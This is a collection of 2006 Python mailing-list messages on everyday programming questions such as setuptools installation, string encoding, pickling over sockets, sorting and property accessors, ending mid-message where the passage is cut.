"Fredrik Lundh" <fredrik at pythonware.com> wrote:

> Duncan Booth wrote:
> 
>> No it isn't Pythonic.
> 
> rubbish.  using a single constructor that handles two common use cases is
> perfectly Pythonic (especially if you're targeting casual programmers).
> 
Yes, but I don't think that the specific case the OP asked about would be 
pythonic: there was no need two separate calling conventions there.


From deets at nospam.web.de  Tue Oct  3 13:33:39 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 03 Oct 2006 19:33:39 +0200
Subject: Problem with ez_setup on a "non-networked" machine
In-Reply-To: <1159842864.476548.284080@h48g2000cwc.googlegroups.com>
References: <1159842864.476548.284080@h48g2000cwc.googlegroups.com>
Message-ID: <4ofl7lFe2mb8U1@uni-berlin.de>

alex23 schrieb:
> Hey everyone,
> 
> I'm trying to install setuptools on a work PC behind an NTLM firewall.
> I've tried to use APS as recommended but am still unable to have
> anything other than IE talk through firewall. But as I can downloaded
> eggs manually, I'm not overly concerned at this point.
> 
> So I've tried following the instructions for un-networked installs:
> I've downloaded ez_setup.py and setuptools-0.6c3-py2.4.egg, putting the
> egg file in the same folder as ez_setup.
> 
> No matter what comline args I try, though, it always seems to try to
> grab the egg from the Cheeseshop. I naively started off with:
> 
> D:\downloads>ez_setup setuptools
> Downloading
> http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg
> Traceback (most recent call last):
>   File "D:\downloads\ez_setup.py", line 217, in ?
>     main(sys.argv[1:])
>   File "D:\downloads\ez_setup.py", line 149, in main
>     egg = download_setuptools(version, delay=0)
>   File "D:\downloads\ez_setup.py", line 131, in download_setuptools
>     src = urllib2.urlopen(url)
>   File "C:\Python24\lib\urllib2.py", line 130, in urlopen
>     return _opener.open(url, data)
>   File "C:\Python24\lib\urllib2.py", line 358, in open
>     response = self._open(req, data)
>   File "C:\Python24\lib\urllib2.py", line 376, in _open
>     '_open', req)
>   File "C:\Python24\lib\urllib2.py", line 337, in _call_chain
>     result = func(*args)
>   File "C:\Python24\lib\urllib2.py", line 1021, in http_open
>     return self.do_open(httplib.HTTPConnection, req)
>   File "C:\Python24\lib\urllib2.py", line 996, in do_open
>     raise URLError(err)
> urllib2.URLError: <urlopen error (10061, 'Connection refused')>
> 
> So reading through the EasyInstall instructions, I find that I need to
> stop it from downloading and point it at the local copy instead:
> 
> D:\downloads>ez_setup --allow-hosts=None --find-links="D:\downloads"
> setuptools
> Downloading
> http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg
> Traceback (most recent call last):
> [snip]
> urllib2.URLError: <urlopen error (10061, 'Connection refused')>
> 
> This I don't understand, as the docs explicitly state,
> "--allow-hosts=None prevents downloading altogether", which certainly
> isn't the case here. Even using the exact param layout for the example
> in the docs doesn't work:
> 
> D:\downloads>ez_setup -H None -f D:\downloads setuptools
> Downloading
> http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.
> 6c3-py2.4.egg
> Traceback (most recent call last):
> [etc]
> 
> The difference is that I'm using ez_setup instead of easy_install, but
> then that's what I'm wanting to end up with out of this exercise. The
> docs do state that ez_setup uses the exact same comline args as
> easy_install...is this definitely the case?
> 
> Any help at all would be greatly appreciated. I feel like I'm missing
> something blatantly obvious...

ez_setup.py implies a certain setuptools version available. As you don't 
have that available, it will fallback to installing one, which explains 
the "still downloading"-thing.

The solution will most probably be to put the setuptools-egg on you 
python-path. I'm not sure if that is all to do, but to me it looks as if 
it might work after looking into ez_setup.py. If not, you should dig in 
there yourself.


Diez


From inq1ltd at verizon.net  Fri Oct 27 17:21:32 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Fri, 27 Oct 2006 17:21:32 -0400
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net>
Message-ID: <200610271721.32234.inq1ltd@verizon.net>

On Thursday 26 October 2006 23:43, you wrote:
> Hi all,
>
> I was trying to split a string that
>
> represent chinese characters below:
> >>> str = '\xc5\xeb\xc7\xd5\xbc'
> >>> print str2,
>
> ???
>
> >>> fields2 = split(r'\\',str)
> >>> print fields2,
>
> ['\xc5\xeb\xc7\xd5\xbc']
>
> But why the split function here doesn't seem
> to do the job for obtaining the desired result:

The character '\' is an escape character. It won't 
show just like '\n' at the end of a line doesn't 
show.
To show it must be preceeded by another '\' like 
this '\\'

figgure out a way to start with '\\' and you'll be 
ok.


x =   str.split('\\xc5\\xeb\\xc7\\xd5\\xbc', '\\')

print x, '## x on line 10 == \n\n\n'  
### '\n' won't show on printed line

print x, '## x on line 15 == \\n'   
###  '\n'  will show on printed line

for n in x:
  n= '\\'+n
  print n


jim-on-linux
http://www.inqvista.com


>
> ['\xc5','\xeb','\xc7','\xd5','\xbc']
>
>
>
> Regards,
> -- Edward WIJAYA
> SINGAPORE
>
>
>
> ------------ Institute For Infocomm Research -
> Disclaimer ------------- This email is
> confidential and may be privileged.  If you are
> not the intended recipient, please delete it
> and notify us immediately. Please do not copy
> or use it for any purpose, or disclose its
> contents to any other person. Thank you.
> -----------------------------------------------
>---------


From steve at holdenweb.com  Sat Oct 14 04:05:34 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 14 Oct 2006 09:05:34 +0100
Subject: Sending binary pickled data through TCP
In-Reply-To: <452FD3B1.9060306@ilm.com>
References: <452EEEF1.6030606@ilm.com> <egmvtl$b0b$1@sea.gmane.org>
	<452FD3B1.9060306@ilm.com>
Message-ID: <45309A4E.2090906@holdenweb.com>

David Hirschfield wrote:
> Thanks for the great response.
> 
> Yeah, by "safe" I mean that it's all happening on an intranet with no 
> chance of malicious individuals getting access to the stream of data.
> 
> The chunks are arbitrary collections of python objects. I'm wrapping 
> them up a little, but I don't know much about the actual formal makeup 
> of the data, other than it pickles successfully.
> 
> Are there any existing python modules that do the equivalent of pickling 
> on arbitrary python data, but do it a lot faster? I wasn't aware of any 
> that are as easy to use as pickle, or don't require implementing them 
> myself, which is not something I have time for.
> 
Marshal may achieve what you want, but on a more limited range of 
datatypes than pickle.

regards
  Steve


> Thanks again,
> -Dave
> 
> Steve Holden wrote:
> 
>>David Hirschfield wrote:
>>  
>>
>>>I have a pair of programs which trade python data back and forth by 
>>>pickling up lists of objects on one side (using 
>>>pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
>>>connection to the receiver, who unpickles the data and uses it.
>>>
>>>So far this has been working fine, but I now need a way of separating 
>>>multiple chunks of pickled binary data in the stream being sent back and 
>>>forth.
>>>
>>>Questions:
>>>
>>>Is it safe to do what I'm doing? I didn't think there was anything 
>>>fundamentally wrong with sending binary pickled data, especially in the 
>>>closed, safe environment these programs operate under...but maybe I'm 
>>>making a poor assumption?
>>>
>>>    
>>>
>>If there's no chance of malevolent attackers modifying the data stream 
>>then you can safely ignore the otherwise dire consequences of unpickling 
>>arbitrary chunks of data.
>>
>>  
>>
>>>I was going to separate the chunks of pickled data with some well-formed 
>>>string, but couldn't that string potentially randomly appear in the 
>>>pickled data? Do I just pick an extremely 
>>>unlikely-to-be-randomly-generated string as the separator? Is there some 
>>>string that will definitely NEVER show up in pickled binary data?
>>>
>>>    
>>>
>>I presumed each chunk was of a know structure. Couldn't you just lead of 
>>with a pickled integer saying how many chunks follow?
>>
>>  
>>
>>>I thought about base64 encoding the data, and then decoding on the 
>>>opposite side (like what xmlrpclib does), but that turns out to be a 
>>>very expensive operation, which I want to avoid, speed is of the essence 
>>>in this situation.
>>>
>>>    
>>>
>>Yes, base64 stuffs three bytes into four (six bits per byte) giving you 
>>a 33% overhead. Having said that, pickle isn't all that efficient a 
>>representation because it's designed to be portable. If you are using 
>>machines of the same type there are almost certainly faster binary 
>>encodings.
>>
>>  
>>
>>>Is there a reliable way to determine the byte count of some pickled 
>>>binary data? Can I rely on len(<pickled data>) == bytes?
>>>
>>>    
>>>
>>Yes, since pickle returns a string of bytes, not a Unicode object.
>>
>>If bandwidth really is becoming a limitation you might want to consider 
>>uses of the struct module to represent things more compactly (but this 
>>may be too difficult if the objects being exchanged are at all complex).
>>
>>regards
>>  Steve
>>  
>>
> 
> -- 
> Presenting:
> mediocre nebula.
> 


-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden


From NoelByron at gmx.net  Thu Oct 19 05:16:51 2006
From: NoelByron at gmx.net (NoelByron at gmx.net)
Date: 19 Oct 2006 02:16:51 -0700
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
Message-ID: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>

Hi!

I'm struggling with the conversion of a UTF-8 string to latin-1. As far
as I know the way to go is to decode the UTF-8 string to unicode and
then encode it back again to latin-1?

So I tried:

'K\xc3\xb6ni'.decode('utf-8')     # 'K\xc3\xb6ni' should be 'K?nig',
contains a german 'umlaut'

but failed since python assumes every string to decode to be ASCII?

How can I convert this string to latin-1?

How would you write a function like:

def encode_string(string, from_encoding, to_encoding):
  #????

Best regards,
Noel



From horpner at yahoo.com  Tue Oct 17 07:52:41 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 17 Oct 2006 13:52:41 +0200
Subject: Alphabetical sorts
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
	<z3YYg.6629$fl.5841@dukeread08>
Message-ID: <slrnej9h1s.19o.horpner@FIAD06.norwich.edu>

On 2006-10-17, Ron Adam <rrr at ronadam.com> wrote:
> Neil Cerutti wrote:
>> On 2006-10-16, Ron Adam <rrr at ronadam.com> wrote:
>>> I have several applications where I want to sort lists in
>>> alphabetical order. Most examples of sorting usually sort on
>>> the ord() order of the character set as an approximation.
>>> But that is not always what you want.
>> 
>> Check out strxfrm in the locale module.
>
> It looks to me this would be a good candidate for a
> configurable class. Something preferably in the string module
> where it could be found easier.
>
> Is there anyway to change the behavior of strxfrm or strcoll?
> For example have caps before lowercase, instead of after?

You can probably get away with writing a strxfrm function that
spits out numbers that fit your definition of sorting.

-- 
Neil Cerutti
Whenever I see a homeless guy, I always run back and give him
money, because I think: Oh my God, what if that was Jesus?
--Pamela Anderson


From bj_666 at gmx.net  Mon Oct 23 06:15:25 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Mon, 23 Oct 2006 12:15:25 +0200
Subject: comparing Unicode and string
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
	<1161281095.174018.223790@f16g2000cwb.googlegroups.com>
	<mailman.830.1161338118.11739.python-list@python.org>
	<1161595714.342067.51350@e3g2000cwe.googlegroups.com>
Message-ID: <pan.2006.10.23.10.15.24.383843@gmx.net>

In <1161595714.342067.51350 at e3g2000cwe.googlegroups.com>,
luc.saffre at gmail.com wrote:

> I didn't mean that the *assignment* should raise exception. I mean that
> any string constant that cannot be decoded using
> sys.getdefaultencoding() should be considered a kind of syntax error.

Why?  Python strings are *byte strings* and bytes have values in the range
0..255.  Why would you restrict them to ASCII only?

Ciao,
	Marc 'BlackJack' Rintsch


From hxianping at gmail.com  Fri Oct 27 23:05:33 2006
From: hxianping at gmail.com (steve)
Date: 27 Oct 2006 20:05:33 -0700
Subject: How the event list be sent to EventManager?
In-Reply-To: <mailman.1367.1161964753.11739.python-list@python.org>
References: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>
	<mailman.1241.1161845067.11739.python-list@python.org>
	<1161960779.274517.116730@i3g2000cwc.googlegroups.com>
	<mailman.1367.1161964753.11739.python-list@python.org>
Message-ID: <1162004733.700695.6880@h48g2000cwc.googlegroups.com>

Thank you,Fredrik,I see.

Fredrik Lundh wrote:
> steve wrote:
>
> > Can an argument to reference an object's attribute??
>
> sorry, cannot parse that sentence.
>
> the arguments to a method are objects, and objects have attributes.  why
> do you find this surprising?
> 
> </F>



From horpner at yahoo.com  Fri Oct  6 16:30:20 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 6 Oct 2006 22:30:20 +0200
Subject: n-body problem at shootout.alioth.debian.org
References: <eg6bku$59b$1@online.de>
Message-ID: <slrneidf7b.do.horpner@FIAD06.norwich.edu>

On 2006-10-06, Peter Maas <peter.maas at somewhere.com> wrote:
> I have noticed that in the language shootout at
> shootout.alioth.debian.org the Python program for the n-body
> problem is about 50% slower than the Perl program. This is an
> unusual big difference. I tried to make the Python program
> faster but without success. Has anybody an explanation for the
> difference? It's pure math so I expected Perl and Python to
> have about the same speed.

The Perl program is obfuscated to speed it up; it uses an array
of planet property arrays instead of objects.

Of course, perhaps that's the right way to do it in Perl.

A python solution that indexed lists instead of looking up
attributes of objects might be faster.

-- 
Neil Cerutti
We're not afraid of challenges. It's like we always say: If you
want to go out in the rain, be prepared to get burned.
--Brazillian soccer player


From chtaylo3 at gmail.com  Mon Oct 23 14:56:44 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Mon, 23 Oct 2006 14:56:44 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <45386B4C.4020001@v.loewis.de>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<45386B4C.4020001@v.loewis.de>
Message-ID: <2590773a0610231156x4558e06bvd4155aa21fd31bb6@mail.gmail.com>

PYTHONPATH was the problem.

I had /usr/lib64/python2.3 included and that's why it was breaking.  I
took it out and it works fine now.  Unfortunately, it still puts the
lib files in /usr/lib instead of /usr/lib64.  I'm assuming all I need
to do is set libdir accordingly and the files will get put in
/usr/lib64.  How do I then build the library files for 32bits?

Respectfully,
Christopher Taylor


From Setash at gmail.com  Wed Oct 18 15:42:22 2006
From: Setash at gmail.com (Setash)
Date: 18 Oct 2006 12:42:22 -0700
Subject: Classes and Functions - General Questions
Message-ID: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>

I've got a tiny bit of coding background, but its not the most
extensive.

That said, I'm trying to wrap my head around python and have a couple
questions with classes and functions.

Two notable questions:

1) Classes. How do you extend classes?

I know its as easy as:

class classname(a)
   do stuff


But where does the parent class need to lie? In the same file? Can it
lie in another .py file in the root directory? Can it simply be
accessed via an import statement or just plain jane?

To clarify, as it may be worded poorly:

Can my directory structure look like

..
/class1.py
/class2.py

And have class2 inherit class1 without any import statements, or need
it be imported first?
Or need class1 and class2 be both declared in the same .py file if
there is inheritance?

I think thats a bit more clear :)




2) Function overloading - is it possible?

Can I have the following code, or something which acts the same in
python?:


def function(a, b)
   do things

def function(a, b, c)
   do things only if I get a third argument


Any thoughts / comments / etc? Just trying to get a solid foundation of
python before going any further.
Thanks!



From oshecho at gmail.com  Mon Oct 23 13:21:28 2006
From: oshecho at gmail.com (Echo)
Date: Mon, 23 Oct 2006 13:21:28 -0400
Subject: Python and CMS
In-Reply-To: <453bd8a4$0$16884$426a74cc@news.free.fr>
References: <mailman.933.1161518325.11739.python-list@python.org>
	<453bd8a4$0$16884$426a74cc@news.free.fr>
Message-ID: <910885da0610231021h3fce5beag4073fc5e215d4d44@mail.gmail.com>

Duncan Booth wrote:
> Just because something like Plone can run as a web server doesn't mean that
> you expose that web server to the outside world, nor do you have to run it
> as a webserver at all. Normally you run Plone behind another web server
> such as Apache.
>
> You can get Plone on shared hosting from various places. I use webfaction
> (www.webfaction.com).
To be able to run Plone on webfaction, I checked them out a few days
ago, you have to get the plan 'shared 4', which is a lot more
expensive than places that offer regular web hosting with pythong
suport (like dreamhost.com).

Bruno Desthuilliers wrote:
> Pylons (www.pylonshq.com). It's a rail-like framework based on Paste.
What I've seen so far, I like. I think I will use Pylons. Thanks.

> > ps. I know that this is a big and complicated project.
>
> Really ? Why so ?
>
> Writing a configurable, extensible, general purpose can be a "big and
> complicated project". But writing a "taylor-made", specific one is not
> that difficult.
Good point.

-- 
"Now that I am a Christian I do not have moods in which the whole
thing looks very improbable: but when I was an atheist I had moods in
which Christianity looked terribly probable."
  -C. S. Lewis

-Echo


From Matthew.Warren at Digica.com  Thu Oct  5 09:28:46 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 14:28:46 +0100
Subject: dictionary of list from a file
In-Reply-To: <eg0fo3$pv6$1@nnrp.ngi.it>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE596@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Giovanni Bajo
> Sent: 04 October 2006 15:17
> To: python-list at python.org
> Subject: Re: dictionary of list from a file
> 
> andrea.spitaleri at gmail.com wrote:
> 
> > while(<IN>){
> >           @info=split(/ +/,$_);
> >           push (@{$tmp{$info[0]}},$info[1]);
> > }
> >
> > and then
> > foreach $key (keys %tmp){
> >            print "$key -> @{$tmp{$key}}\n";
> > }
> 
> Python 2.5 introduced a dictionary type with automatic 
> creation of values,
> ala Perl:
> 
> ===============================
> from collections import defaultdict
> 
> d = defaultdict(list)
> for line in fl:
>      k, v = line.strip().split()
>      d[k].append(v)
> 
> for k,v in d.items():
>      print k, v
> ===============================
> 
> Notice that Python is always more strongly typed, so you have 
> to specify a
> factory function.


Yay! Python2.5 fixed my approach to this, I tried

from collections import defaultdict
f=file('c:\\test.txt')
lines=f.readlines()
f.close()
d=defaultdict(list)
[ d[l.split()[0]].append(l.split()[1]) for l in lines ]

But, if I try your (to see if I've actually got it right)

For k,v in d.items():
	print k,v

I get

AttributeError: 'list' object has no attribute 'items'




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From johnjsal at NOSPAMgmail.com  Thu Oct 26 14:12:03 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 18:12:03 GMT
Subject: which one of these is better?
In-Reply-To: <BR60h.167$1n3.4240@news.tufts.edu>
References: <BR60h.167$1n3.4240@news.tufts.edu>
Message-ID: <TT60h.168$1n3.4240@news.tufts.edu>

John Salerno wrote:

>     def create_sql_script(self):
>         try:
>             f = open('labtables.sql')
>             sql_script = f.read()
>         except IOError:
>             wx.MessageBox('Could not locate the file "labtables.sql"',
>                           'File Not Found')
>         finally:
>             f.close()

Hmm, looks like this doesn't work anyway if open() doesn't work, because 
then f.close() raises an UnboundLocalError for obvious reasons.


From gehn13 at gmail.com  Thu Oct  5 12:19:25 2006
From: gehn13 at gmail.com (Justin)
Date: 5 Oct 2006 09:19:25 -0700
Subject: Asychronous execution *with* return codes?
In-Reply-To: <1160059393.325634.167640@e3g2000cwe.googlegroups.com>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
	<1160059393.325634.167640@e3g2000cwe.googlegroups.com>
Message-ID: <1160065159.562889.184860@i3g2000cwc.googlegroups.com>

If you're on a POSIX system, you could use the usual fork/exec/wait:

import os
for lstArgs in pileOflstArgs:
    pid = os.fork()
    if not pid:
        os.execv( app, lstArgs )

for i in range(len(pileOflstArgs)):
    pid, status = os.wait()

Of couse, os.wait() will block until a child exits. Look at the docs
for the status code it returns, though, as it's not just the return
value of the process.

On Oct 5, 7:43 am, "utabintarbo" <utabinta... at gmail.com> wrote:
> MonkeeSage wrote:
> > utabintarbo wrote:
> > > pid = subprocess.Popen([app] + lstArgs).pid
>
> > Check out the poll() method and the returncode attribute:
> >http://docs.python.org/lib/node533.htmlThanks for the reply.
>
> If I understand your meaning, I should do something like this (given I
> wish to run an app against several arguments [my use case]):
>
> for lstArgs in pileOflstArgs:
>     uniqueProcessID = subprocess.Popen([app] + lstArgs)
>     pid = uniqueProcessID.pid
>     retcode = uniqueProcessID.poll()
>     # increment uniqueProcessID
>     ....
>
> If so, how do I handle the poll() on long-running processes? Run a
> bunch and then start a check loop? Am I asking too many questions?



From ewijaya at i2r.a-star.edu.sg  Fri Oct 27 03:28:59 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 27 Oct 2006 15:28:59 +0800
Subject: Matching Pure Numeric and '' with Python re
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615E1@mailbe01.teak.local.net>


Hi,
 
Given this list:
 
list = ['0123', '1A34' , '333-' , '' ]
 
I want to match only this element 
'0123' (pure numeric) and '' (empty element).
 
Why this construct doesn't work?
 
         p = re.compile("''+|[0-9]+")
           m = p.match(word)
           if m:
             print word,
 
Namely it doesn't print 0123 and ''.
What's wrong with my regex?
 
-- Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From grahn+nntp at snipabacken.dyndns.org  Wed Oct  4 10:47:40 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 4 Oct 2006 14:47:40 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
Message-ID: <slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>

On Tue, 03 Oct 2006 23:13:08 -0500, Robert Kern <robert.kern at gmail.com> wrote:
> jordan.nick at gmail.com wrote:
>> Has the addition of a Universe Set object ever been suggested.  Like U
>> = set(0), so that any object was a member of U?
>
> In [61]: class UniverseSet(object):
>     ....:         def __contains__(self, x):
>     ....:             return True
>     ....:

Yes. But note that being able to write it yourself is one thing, having it
in the Standard Library and known to anyone is another.

I have been craving for some similar things for a while, and I'm still not
sure if they are good ideas, or brain damage caused by studying functional
programming at Uni. For example:

- the wildcard object, which compares equal to everything else
- infinite xrange()s
- the black hole function 'def f(*args): pass'
- the identity function 'def f(x): return x'

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From http  Thu Oct 12 10:10:01 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 07:10:01 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
Message-ID: <7xvempiq12.fsf@ruckus.brouhaha.com>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> writes:
> My original question was in response to your post, that sort() wasn't 
> required but only a temp variable.  I am very interested in seeing your 
> solution that does not require the data to be sorted.  (This is not just an 
> academic exercise - given a large historical data set, sorting the data is 
> one of the costliest parts of computing the median, and I would greatly 
> appreciate seeing an alternative algorithm.)

There are well known algorithms for finding the median in expected
O(n) time, the most straightforward of which is a modified quicksort.
You do the traditional quicksort pivot step, figure out which
partition the median is in, and recurse on just that partition instead
of on both of them.  Expected running time is n + n/2 + n/4 + ...
which is approx 2n.

Tarjan discovered a guaranteed O(n) algorithm in the 1970's(?) whose
operation is much different and quite complex.  But all of these need
more than one temp var.  See an algorithms book like CLRS or Knuth
for more info.


From mike$#at^&nospam!%trauschus  Thu Oct 26 19:12:44 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 19:12:44 -0400
Subject: Python segmentation fault?
In-Reply-To: <1161656124.660257.98340@i3g2000cwc.googlegroups.com>
References: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>
	<1161656124.660257.98340@i3g2000cwc.googlegroups.com>
Message-ID: <v4CdndnPQ6dt3dzYnZ2dnUVZ_qCdnZ2d@comcast.com>

Klaas wrote:
> Michael B. Trausch wrote:
>> Is there a way to debug scripts that cause segmentation faults?  I can
>> do a backtrace in gdb on Python, but that doesn't really help me all
>> that much since, well, it has nothing to do with my script... :-P
> 
> Yes.  If you think it is a python interpreter bug, create a
> self-contained script which reproduces the issue, and file a python bug
> report.
> 
> I'd be interested to see the stack trace--I recently uncovered a
> segfault bug in python2.5 and I might be able to tell you if it is the
> same one.
> 

I finally found out what the problem was -- I was using something that
was in the wx.* set of classes and functions, and it was the item
segfaulting.  I was apparently making an assumption or doing something
wrong, though I didn't have this project in Subversion at the time so I
can't say exactly which changes fixed it.  I have it in Subversion now,
though, so that in the future I can be sure to better find out what is
going on by having all of the information handy.

Thanks for the help!

	-- Mike


From gagsl-py at yahoo.com.ar  Wed Oct  4 12:21:21 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 04 Oct 2006 13:21:21 -0300
Subject: can't open chm files all of a sudden
In-Reply-To: <45233a81$0$30748$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
Message-ID: <7.0.1.0.0.20061004132024.03f02678@yahoo.com.ar>

At Wednesday 4/10/2006 01:32, John Salerno wrote:

> > I tried opening my Python chm docs just now, as well as the one for
> > wxPython, and both are giving me an error dialog when I double-click
> > them and I can't open them. This happened apparently for no reason, just
> > today. I even reset but that didn't help.
>AppName: hh.exe AppVer: 5.2.3790.2453   ModName: itss.dll
>ModVer: 5.2.3790.2453   Offset: 00006bec

Try this: <http://support.microsoft.com/kb/275539/en-us>


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
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http://www.yahoo.com.ar/respuestas



From maric at aristote.info  Thu Oct  5 07:39:23 2006
From: maric at aristote.info (Maric Michaud)
Date: Thu, 5 Oct 2006 13:39:23 +0200
Subject: Why do this?
In-Reply-To: <eg2pjt$rhm$1@news1.carnet.hr>
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<eg2pjt$rhm$1@news1.carnet.hr>
Message-ID: <200610051339.24741.maric@aristote.info>

Le jeudi 05 octobre 2006 13:16, Ivan Voras a ?crit?:
> print "'"+var1+"','"+var2'"+","+var3
>
> the above is much more readable as
>
> print "'%s', '%s', %s" % (var1, var2, var3)

It feels not IMO, one proof I see is that you forgot the spaces after periods 
in your first example, and it's even not easy to figure it out...

In fact this is a typical case I replace the first by the second, when the 
string comes a little complex.

-- 
_____________

Maric Michaud
_____________

Aristote - www.aristote.info
3 place des tapis
69004 Lyon
Tel: +33 426 880 097


From hanumizzle at gmail.com  Tue Oct 17 03:59:27 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 03:59:27 -0400
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocksin python
In-Reply-To: <01b701c6f1b3$07eab4a0$03000080@hendrik>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
	<45335619$0$12918$426a34cc@news.free.fr>
	<1160992539.451117.143310@i42g2000cwa.googlegroups.com>
	<4533cb98$0$15235$426a74cc@news.free.fr>
	<01b701c6f1b3$07eab4a0$03000080@hendrik>
Message-ID: <463ff4860610170059q281beba4pd6192a7a38dc65b7@mail.gmail.com>

On 10/17/06, Hendrik van Rooyen <mail at microcorp.co.za> wrote:
>  "Bruno Desthuilliers" <onurb at xiludom.gro> wrote:
> > Kay Schluehr wrote:
> > > Bruno Desthuilliers wrote:
> > >
> > >> Just for the record : Ruby's code-blocks (closures, really) come from
> > >> Smalltalk, which is still the OneTrueObjectLanguage(tm).
> > >
> > > IsTheOneTrueObjectLanguage(tm)ReallyCamelCased?
> > >
> > ThatsAGoodQuestion.
> >
> >
> DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjec
> tBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse?
>
> IAmGladToSeeThisSterlingAttemptAtMinimisingTheEncodingSpaceAsTheSpaceCharacterNe
> verImpartedAnyInformationAnywayHendrik

BurnMeIfThisIsntTurningIntoCeeTwoWiki

-- http://www.c2.com/cgi/wiki?TheerasakPhotha


From http  Wed Oct 11 06:02:38 2006
From: http (Paul Rubin)
Date: 11 Oct 2006 03:02:38 -0700
Subject: How to write Smart Python programs?
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
Message-ID: <7xodsjrwzl.fsf@ruckus.brouhaha.com>

Antoine De Groote <antoine at vo.lu> writes:
> To me this seems contradictory. Why would one not want to do something
> that is included in the documentation? Or am I just confused? Does
> anybody have an idea how to put me in the right direction?

The library reference states the technical procedures for doing
various things.  That is, it explains how the procedures work.  It
doesn't say when to use one procedure or another.  It's a technical
reference, not a style guide.

> And then, by (2) I believe that what is meant is that once some client
> code uses public fields one can't make them private anymore because
> then the clients are broke. That's clear to me. But I don't understand
> (3). I don't know exactly what they mean. How would one want to change
> their mind? In what way? I've been thinking about it some time now,
> but I'm still kept in the dark. I would appreciate any explanation.

I think it means the example you cited from the library doc is
inadvisable in practice, and should only be used as a template for
more complicated getters and setters.  E.g. if you want the client
to be able to set foo.x to an arbitrary value, don't use a setter,
just say

     foo.x = 237

and the attribute value gets set directly.  If you want to limit the
value of foo.x to the range 0-100, and make setting to outside the
range clip to that range or raise an exception or something, THEN use
